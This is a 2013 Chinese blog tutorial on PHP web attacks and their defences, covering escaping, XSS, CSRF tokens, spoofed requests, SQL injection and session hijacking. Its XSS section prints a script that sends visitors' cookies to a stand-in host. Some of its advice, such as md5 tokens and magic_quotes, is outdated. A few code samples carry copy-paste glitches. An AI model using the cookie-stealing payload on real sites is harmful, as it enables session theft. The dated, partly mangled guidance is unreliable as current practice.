需要了解的php几种攻击方式与防范措施
作者:smiling 日期:2013-04-06
==过滤输入/输出转义过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。
有很多种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤看成是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规则去做,历史证明了试图纠正非法数据往往会导致安全漏洞。
另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。例如,O’Reilly在传送给MySQL数据库前需要转义成O\’Reilly。单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。
象过滤一样,转义过程在依情形的不同而不同。过滤对于不同类型的数据处理方法也是不同的,转义也是根据你传输信息到不同的系统而采用不同的方法。
为了区分数据是否已转义,还是建议定义一个命名机制。对于输出到客户机的转义数据,使$html数组进行存储,该数据首先初始化成一个空数组,对所有已过滤和已转义数据进行保存。
PHP代码
- <?php
- $html = array( );
- $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
- echo "<p>Welcome, {$html['username']}.</p>";
- ?>
通过$html['username']把username输出到客户端,你就可以确保其中的特殊字符不会被浏览器所错误解释。如果username只包 含字母和数字的话,实际上转义是没有必要的,但是这体现了深度防范的原则。转义任何的输出是一个非常好的习惯,它可以戏剧性地提高你的软件的安全性。
另外一个常见的输出目标是数据库。如果可能的话,你需要对SQL语句中的数据使用PHP内建函数进行转义。对于MySQL用户,最好的转义函数是 mysql_real_escape_string( )。如果你使用的数据库没有PHP内建转义函数可用的话,addslashes( )是最后的选择。
==语义URL攻击
例如,如果用户a点击了一个链接并到达了页面http://abc.net/pr.php?user=a, 很自然地可能会试图改变user的值,看看会发生什么。
如果使用session跟踪,可以很方便地避免上述情况的发生:
PHP代码
- <?php
- session_start();
- $clean = array();
- $email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
- if (preg_match($email_pa, $_POST['email']))
- {
- $clean['email'] = $_POST['email'];
- $user = $_SESSION['user'];
- $new_password = md5(uniqid(rand(), TRUE));
- if ($_SESSION['verified'])
- {
- /* Update Password */
- mail($clean['email'], 'Your New Pass', $new_password);
- }
- }
- ?>//正是这种不信任的做法是防止你的应用产生漏洞的关键。
有时在除了标准的表单数据外,你还需要让用户进行文件上传。由于文件在表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式multipart/form-data:
<form action="./upload.php" method="POST" enctype="multipart/form-data">
一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式可以使浏览器能按该可格式的要求去处理。
允许用户进行选择文件并上传的表单元素是很简单的:
<input type="file" name="attachment" />
该元素在各种浏览器中的外观表现形式各有不同。传统上,界面上包括一个标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或通过浏览选择。在Safari浏览器中只有浏览按钮。幸运的是,它们的作用与行为是相同的。
为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子:
XML/HTML代码
- <form action="./upload.php" method="POST" enctype="multipart/form-data">
- <p>Please choose a file to upload:
- <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
- <input type="file" name="attachment" /><br />
- <input type="submit" value="Upload Attachment" /></p>
- </form>
PHP的配置变量中,upload_max_filesize控制最大允许上传的文件大小。同时post_max_size(POST表单的最大提交数据的大小)也能潜在地进行控制,因为文件是通过表单数据进行上传的。
接收程序upload.php显示了超级全局数组$_FILES的内容:
PHP代码
- <?php
- header('Content-Type: text/plain');
- print_r($_FILES);
- ?>
user abc
http://abc.org/[/php]
当你上传该文件到upload.php程序时,你可以在浏览器中看到类似下面的输出:
XML/HTML代码
- [php]Array
- (
- [attachment] => Array
- (
- [name] => author.txt
- [type] => text/plain
- [tmp_name] => /tmp/phpShfltt
- [error] => 0
- [size] => 36
- )
- )
PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保tmp_name中的文件是一个上传的文件,你可以用
is_uploaded_file( ):
PHP代码
- <?php
- $filename = $_FILES['attachment']['tmp_name'];
- if (is_uploaded_file($filename))
- {
- /* $_FILES['attachment']['tmp_name'] is an uploaded file. */
- }
- ?>
PHP代码
- <?php
- $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename))
- {
- $size = filesize($filename);
- }
- ?>
==跨站脚本攻击
所有有输入的应用都面临着风险。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:
XML/HTML代码
- <form action="./comment.php" method="POST" />
- <p>Name: <input type="text" name="name" /><br />
- Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
- <input type="submit" value="Add Comment" /></p>
- </form>
PHP代码
- <?php
- echo "<p>$name writes:<br />";
- echo "<blockquote>$comment</blockquote></p>";
- ?>//这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:<script>
- document.location =
- 'http://a.abc.net/s.php?cookies=' +
- document.cookie
- </script>
这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可。
最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。
==跨站请求伪造
跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发 起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是有漏 洞的。
你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。
任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
“特别需要指出的是,习惯上GET与HEAD方式不应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式,如POST,PUT或Delete方式来使用户意识到正在请求进行的操作可能是不安全的。”
最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:
PHP代码
- <?php
- session_start();
- $token = md5(uniqid(rand(), TRUE));
- $_SESSION['token'] = $token;
- $_SESSION['token_time'] = time();
- ?>
- <form action="buy.php" method="POST">
- <input type="hidden" name="token" value="<?php echo $token; ?>" />
- <p>
- Item:
- <select name="item">
- <option name="pen">pen</option>
- <option name="pencil">pencil</option>
- </select><br />
- Quantity: <input type="text" name="quantity" /><br />
- <input type="submit" value="Buy" />
- </p>
- </form>
PHP代码
- <?php
- if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
- {
- }
- ?>//你还能对验证码加上一个有效时间限制,如5分钟:
- <?php
- $token_age = time() - $_SESSION['token_time']; if ($token_age <= 300)
- {
- }
- ?>
尽管我使用img标签描述了攻击方法,但跨站请求伪造攻击只是一个总称,它是指所有攻击者通过伪造他人的HTTP请求进行攻击的类型。已知的攻击方法同时包括对GET和POST的攻击,所以不要认为只要严格地只使用POST方式就行了。
==欺骗表单提交
制造一个欺骗表单几乎与假造一个URL一样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
大多数表单用一个相对URL地址来指定action属性:
<form action="./pr.php" method="POST">
当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。则在用户提交表单后会请求URL地址http://abc.net/pr.php。
知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以放在任何地方了:
<form action="http://abc.net/pr.php" method="POST">
这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的服务器 上,同时将action更改为绝对URL地址。通过使用这些手段,攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的 值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做到。
欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。
==HTTP请求欺骗
一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。这给了攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。
请看下面位于http://abc.net/form.php的表单:
XML/HTML代码
- <form action="process.php" method="POST">
- <p>Please select a color:
- <select name="color">
- <option value="red">Red</option>
- <option value="green">Green</option>
- <option value="blue">Blue</option>
- </select><br />
- <input type="submit" value="Select" /></p>
- </form> // 如果用户选择了Red并点击了Select按钮后,浏览器会发出下面的HTTP请求:
- POST /process.php HTTP/1.1
- Host: abc.net
- User-Agent: Mozilla/5.0 (X11; U; Linux i686)
- Referer: http://abc.net/form.php
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 9 color=red
攻击者如何更改原始的HTTP请求?过程非常简单。通过在大多数系统平台上都提供的Telnet实用程序,你就可以通过连接网站服务器的侦听端口(典型的端口为80)来与Web服务器直接通信。下面就是使用这个技巧请求http://abc.net/页面的例子:
XML/HTML代码
- $ telnet abc.net 80
- Trying 192.0.34.166...
- Connected to abc.net (192.0.34.166).
- Escape character is '^]'.
- GET / HTTP/1.1
- Host: abc.net HTTP/1.1 200 OK
- Date: Sat, 21 May 2005 12:34:56 GMT
- Server: Apache/1.3.31 (Unix)
- Accept-Ranges: bytes
- Content-Length: 410
- Connection: close
- Content-Type: text/html <html>
- <head>
- <title>abc.net</title>
- </head>
- <body>
- <p>You have reached this web page by typing "example.com",
- "example.net", or "example.org" into your web browser.</p>
- <p>These domain names are reserved for use in documentation and are not
- available for registration. See
- <a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section
- 3.</p>
- </body>
- </html> Connection closed by foreign host.
- $
Telnet实用程序不是与Web服务器直接通信的唯一方法,但它常常是最方便的。可是如果你用PHP编码同样的请求,你可以就可以实现自动操作了。前面的请求可以用下面的PHP代码实现:
PHP代码
- <?php
- $http_response = '';
- $fp = fsockopen('abc.net', 80);
- fputs($fp, "GET / HTTP/1.1");
- fputs($fp, "Host: abc.net");
- while (!feof($fp))
- {
- $http_response .= fgets($fp, 128);
- }
- fclose($fp);
- echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8'));
- ?>
==SQL 注入
SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞,一个是没有对输入的数据进行过滤(过滤输 入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。
虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的SQL注入风险。如果你只是过滤输入而没有转义输出,你很可能会遇到数据库错误(合法的数 据也可能影响SQL查询的正确格式),但这也不可靠,合法的数据还可能改变SQL语句的行为。另一方面,如果你转义了输出,而没有过滤输入,就能保证数据 不会影响SQL语句的格式,同时也防止了多种常见SQL注入攻击的方法。
关于SQL注入,不得不说的是现在大多虚拟主机都会把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都会自 动进行addslashes处理,所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但如 果你编写的是通用软件,则需要读取服务器的magic_quotes_gpc后进行相应处理。
==会话劫持
最常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成 合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。
把伪装过程变得更复杂的关键是加强验证。会话标识是验证的首要方法,同时你可以用其它数据来补充它。你可以用的所有数据只是在每个HTTP请求中的数据:
XML/HTML代码
- GET / HTTP/1.1
- Host: abc.net
- User-Agent: Firefox/1.0
- Accept: text/html, image/png, image/jpeg, image/gif, * / HTTP/1.1
- Host: abc.net
- User-Agent: Firefox/1.0
- Accept: text/html, image/png, image/jpeg, image/gif, *
PHP代码
- <?php
- session_start();
- if (isset($_SESSION['HTTP_USER_AGENT']))
- {
- if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
- {
- exit;
- }
- }
- else
- {
- $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
- }
- ?>
比较好的方法是产生在URL中传递一个标记,可以认为这是第二种验证的形式。使用这个方法需要进行一些编程工作,PHP中没有相应的功能。例如,假设标记保存在$token中,你需要把它包含在所有你的应用的内部链接中:
PHP代码
- <?php
- $url = array();
- $html = array();
- $url['token'] = rawurlencode($token);
- $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8');
- ?> <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a>
PHP代码
- <?php
- $string = $_SERVER['HTTP_USER_AGENT'];
- $string .= 'SHIFLETT';
- $token = md5($string);
- $_SESSION['token'] = $token;
- ?>
有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。
如果你不希望依赖于检查User-Agent的一致性。你可以生成一个随机的标记:
PHP代码
- <?php
- $token = md5(uniqid(rand(), TRUE));
- $_SESSION['token'] = $token;
- ?>
没有评论:
发表评论